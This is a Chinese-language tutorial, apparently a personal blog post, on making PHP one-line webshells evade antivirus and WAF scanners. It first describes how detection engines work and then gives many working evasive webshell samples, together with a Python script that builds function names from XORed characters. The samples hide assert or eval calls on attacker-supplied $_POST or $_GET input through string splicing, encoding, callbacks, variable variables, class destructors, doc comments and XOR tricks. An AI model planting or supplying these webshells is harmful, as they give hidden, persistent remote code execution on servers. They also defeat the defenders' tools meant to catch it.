凡是使用webshell时,免杀都是需要考虑的事情,说白了就是我的webshell得能用啊!故本篇做一个webshell免杀的学习,主要是php的一句话
所谓webshell,就是向服务器端发送恶意代码写成的文件(即:shell),客户端通过远程连接,利用shell连接到服务器,并可对服务器进行操作。所以其实是两步:
$_GET
、$_POST
、$_COOKIES
、$_FILE
…
HTTP包中的任何位置都可以作为payload的传输媒介
file_get_contents
、curl
、svn_checkout
…
将需要执行的指令数据放在远程URL中,通过URL_INCLUDE来读取
file
、file_get_contents
…
将需要执行的指令数据放在磁盘文件中,利用IO函数来读取
将需要执行的指令放在数据库中,利用数据库函数来读取
exif_read_data
…
将需要执行的指令数据放在图片头部中,利用图片操作函数来读取
eval
、system
、assert
、exec
、shell_exec
…
最普通、标准的代码执行
include
、require
…
利用浏览器的伪协议将文件包含转化为代码执行
$()
…
PHP的动态函数特性
${${…}}
…
这种思路可以把变量赋值的漏洞转化为代码执行的机会
最常见的就是eval和assert:
$f='assert';$f(...);
这样的方法来动态执行任意代码;php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码<?php eval(@$_POST['a']); ?> <?php assert(@$_POST['a']); ?>
一些常见方法:
要免杀,当然得先了解是谁在杀,主要是D盾、安全狗,护卫神等,其他还有杀毒软件如火绒、360
其检测思路大概有:
既然是字符特征,首先就是对于一些危险函数(上面提到的那些)的检测:
system()
函数将命令作为参数,并输出结果exec()
功能是将命令作为参数,但不输出结果。如果指定了第二个可选参数,则返回结果为数组。否则,如果回显,只显示结果的最后一行shell_exec()
函数类似于exec()
,但是,其整个输出结果为字符串passthru()
执行一个命令并返回原始格式的输出proc_open()
函数可能很难理解。简单地说,我们可以使用proc_open()
,创建一个处理程序(流程),实现脚本和要运行的程序之间的通信popen
,curl_exec
,curl_multi_exec
,parse_ini_file
,show_source
等然后是在返回包中检测特殊字符:root
或者是其他一些敏感字符串passwd
等等
主要基于HASH的匹配,取决于样本的捕捉能力及形成特征列表的数量,还是会出现漏报问题。
这里会对上传上来的文件进行分片处理,之后会对每一个片段进行hash计算,在得到所有片段的hash值后会和之前有的特征列表库进行对比。如果符合某个相似度的要求就认为该文件为webshell。
为了弥补统计特征的不足,进一步深化,进行语法检测,关注于每个函数和参数,这种方式精确,误报较少。但是对于PHP这种动态特性很多的语言,检测就比较吃力,AST是无法了解语义的。
其实这一部分有点类似于代码审计,核心问题就是找到那些可疑的函数。有经验的安全人员可能脑海里就有一个表,这个表里放满了各种函数,有点类似于黑名单。在找到函数调用的代码时,如果发现函数名在黑名单中,就认为这是一个“敏感”函数,再执行后续判断;如果函数名不在黑名单中,那么后续的判断也就不用继续了。但是这个名单必须得大而全,而且得考虑很多特殊情况。
实际是就是去发现没有过滤或者过滤不完全的可控变量,一但存在用户可以控制的代码逻辑,那么危险系数就很高了。
这个需要大量的webshell样本训练,目前来看效果可能还是不太好。而有些算法可解释性比较差,不利于运营。而且存在大量误报的可能。
在2014年的时候,Gartner引入了“Runtime application self-protection”一词,简称为RASP。它是一种新型应用安全保护技术,它将保护程序像疫苗一样注入到应用程序中,应用程序融为一体,能实时检测和阻断安全攻击,使应用程序具备自我保护能力,当应用程序遭受到实际攻击伤害,就可以自动对其进行防御,而不需要进行人工干预。
RASP技术可以快速的将安全防御功能整合到正在运行的应用程序中,它拦截从应用程序到系统的所有调用,确保它们是安全的,并直接在应用程序内验证数据请求。Web和非Web应用程序都可以通过RASP进行保护。该技术不会影响应用程序的设计,因为RASP的检测和保护功能是在应用程序运行的系统上运行的。
下面是一些免杀的思路,但实际需要多种思路结合,办法总比困难多
将关键词进行拼接转换等,来绕过对关键词的检测
一些可用的方法有:
ucwords() //函数把字符串中每个单词的首字符转换为大写。 ucfirst() //函数把字符串中的首字符转换为大写。 trim() //函数从字符串的两端删除空白字符和其他预定义字符。 substr_replace() //函数把字符串的一部分替换为另一个字符串 substr() //函数返回字符串的一部分。 strtr() //函数转换字符串中特定的字符。 strtoupper() //函数把字符串转换为大写。 strtolower() //函数把字符串转换为小写。 strtok() //函数把字符串分割为更小的字符串 str_rot13() //函数对字符串执行 ROT13 编码。
由于eval是语言构造器而不是函数,所以不能被可变函数调用,一般会通过拼接assert来执行;又由于assert在php7.1之后无法这样使用,所以此类免杀方式基本仅能在php5环境下使用
几个例子:
<?php $a="a"; $b="sse"; $c="00"; $d= substr_replace($a.$b.$c,"rt",4); $d($_POST['a']; ?>
<?php $a = substr_replace("xxser","asser",-3); $aa = array('',$a); $b = $aa[1].chr('116'); $fun=preg_replace("/xx/","",$b); $cc = substr_replace("",$fun,0); $cc($_POST['x']); ?>
编码也是一种替换敏感字段的方式,一般用到base64、ascii等各种方式
ascii
<?php $a = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);#assert $a($_POST['a']; ?>
base64
<?php $a = base64_decode("YX__Nz_ZX____J0"); $a($_POST[x]); ?>
但是常见的编码和加密都被放入名单了,所以可以考虑base32、base58 这类的base编码全家桶,或者自定义ascii移位,甚至是对称加密算法
在一个自定义函数中执行assert、eval等,或在函数中进行输入传入$_POST
、$_GET
等
但这种方法效果不佳,可以和别的结合
举个例子:
<?php function zeo($b){ return $b; } function ass($a){ return eval($a); } function post(){ return $_POST['x']; } function run(){ return zeo(ass)(zeo(post)()); } zeo(ass)(zeo(post)()); ?>
回调函数大概有以下这些,大部分都已经被拉黑了。。。单独用都得死:
call_user_func_array() call_user_func() array_filter() array_walk() array_map() array_reduce() array_walk() array_walk_recursive() filter_var() filter_var_array() uasort() uksort() registregister_shutdown_function() register_tick_function() forward_static_call_array(assert,array($_POST[x]));
举几个例子(只是示例,基本都被拉黑了):
array_map
<?php function username() { $a = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);#assert return ''.$a; } $user = username(); $pass =array($_GET['password']); array_map($user,$user = $pass ); ?>
call_user_func_array
<?php $a = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6); call_user_func_array($a, array($_GET['a'])); ?>
定义个函数加个简单的拼接
<?php function zeo($c,$d){ pj()($c,$d); } function pj(){ return "register_shut"."down_function"; } $b=$_POST['x']; zeo(assert,$b); ?>
将执行代码放在数组中,配合其他绕过手段就仍然有效
举几个例子:
<?php $a = substr_replace("asse00","rt",4); $b=array($array=array(''=>$a($_GET['x']))); var_dump($b); ?>
<?php $b = substr_replace("assexx","rt",4); $a = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_POST['x']))))); ?>
可变变量是指一个普通变量的值可以作为另一个变量的名称被使用,如下:
$a = 'hello'; $$a = 'world'; echo $hello; # 输出就是world
举个例子:
<?php $zeo='dalao'; $$zeo=$_POST['x']; eval($dalao); ?>
这个好像很火,主要是魔术方法
举几个例子:
<?php class Student { public $_1=''; function __destruct(){ assert("$this->a"); } } $_2 = new Student; $_2->$_1 = $_POST['a']; ?>
<?php class zeo2 { public $b =''; function post(){ return $_POST['x']; } } class zeo extends zeo2 { public $code=null; function __construct(){ $code=parent::post(); assert($code); } } $blll = new zeo; $bzzz = new zeo2; ?>
主要是能干扰到杀软的正则判断,还要代码能执行。可以自己fuzz,大概就是说各种回车、换行、null和空白字符等
举个例子:
<?php $zeo='dalao'; $$zeo=$_POST['x']; eval(``.$dalao); ?>
ReflectionClass::getDocComment
可以获取文档注释
某些安全软件会忽略注释中的代码,所以这种方式是将恶意代码写入注释中,再通过ReflectionClass的getDocComment方法将其提取出来执行,但是非注释内容中也会存在eval或assert,可能会被报低级别可疑
举个例子:
<?php /** * assert($_GET[1+0]); */ class User { } $user = new ReflectionClass('User'); $comment = $user->getDocComment(); $d = substr($comment , 14 , 20); assert($d); ?>
用各种运算,例如异或,拼装出来想要的函数,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如“assert”,然后动态执行之即可
可参见:一些不包含数字和字母的webshell
举个例子:
<?php @$_++; $__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/"); $___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|"); ('%05'^'`') # “^”为异或运算符,在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或运算,异或运算完,又将结果从二进制转换成了字符串。 ${$__}[!$_](${$___}[$_]); ?>
国光师傅写了个脚本:
import string from urllib.parse import quote keys = list(range(65)) + list(range(91,97)) + list(range(123,127)) results = [] for i in keys: for j in keys: asscii_number = i^j if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122): if i < 32 and j < 32: temp = (f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) elif i < 32 and j >=32: temp = (f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) elif i >= 32 and j < 32: temp = (f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) else: temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) results.sort(key=lambda x:x[1], reverse=False) for low_case in string.ascii_lowercase: for result in results: if low_case in result: print(result[0]) for upper_case in string.ascii_uppercase: for result in results: if upper_case in result: print(result[0])
<?php $decrpt = $_POST['x']; $decrps = $_POST['y']; $arrs = explode("|", $decrpt)[1]; $arrs = explode("|", base64_decode($arrs)); $arrt = explode("|", $decrps)[1]; $arrt = explode("|", base64_decode($arrt)); call_user_func($arrs[0],$arrt[0]); ?>
public ReflectionClass::getConstants(void) : array
获取某个类的全部已定义的常量,不管可见性如何定义
class Test { const a = 'As'; const b = 'se'; const c = 'rt'; public function __construct() { } } $para1; $para2; $reflector = new ReflectionClass('Test'); for ($i=97; $i <= 99; $i++) { $para1 = $reflector->getConstant(chr($i)); $para2.=$para1; } foreach (array('_POST','_GET') as $_request) { foreach ($$_request as $_key=>$_value) { $$_key= $_value; } } $para2($_value);
php7.1之后我们已经不能使用强大的assert函数了,waf只要把函数封死就可以有效的阻⽌webshell免杀,而eval并没有assert那么灵活。
后期大家可能更加倾向使用大马或内存马
https://github.com/pureqh/webshell
举几个例子:
mb_ereg_replace、mb_eregi_replacez这两个存在别名函数:mbereg_replace、mbereg_ireplace
但是这个别名在7.3中被移除了。preg_replace的/e模式也在7版本中被删除了。
从异或,回调函数,字符编码,包含调用,字符拼接。其实这些很多都已经被d盾这种软件收录进去了。
我们要做的就是不断的变形,包括venom利用的异或和类的析构函数,虽然已经被查杀了,但是我们利用静态函数成功的绕过了检测。静态函数调用普通函数,或者普通函数调用静态函数。还有类的继承机制等都是可考虑的
这里p神讲的一个:
eval<char>('phpinfo')
增加特殊字符
[\x00-\x20]
php在解析的时候可能会忽略这些控制字符,但是一些语义分析的检测引擎就无法正确识别这些特殊字符,导致被绕过的现象。
例如我们可不可以把webshell隐藏在多个正常的php文件中形成一个调用链,当然这种形式已经跳出了上传的场景,更加偏向于权限维持
我们也可以将webshell隐藏在php扩展中来绕过一些限制敏感函数执行的场景(其实这个思路已经有很多大佬做过了)
还有就是配合其它语言进行利用并配合linux和windows的一些特性啥的
对webshell免杀做了个学习,这是个不断博弈和进步的方向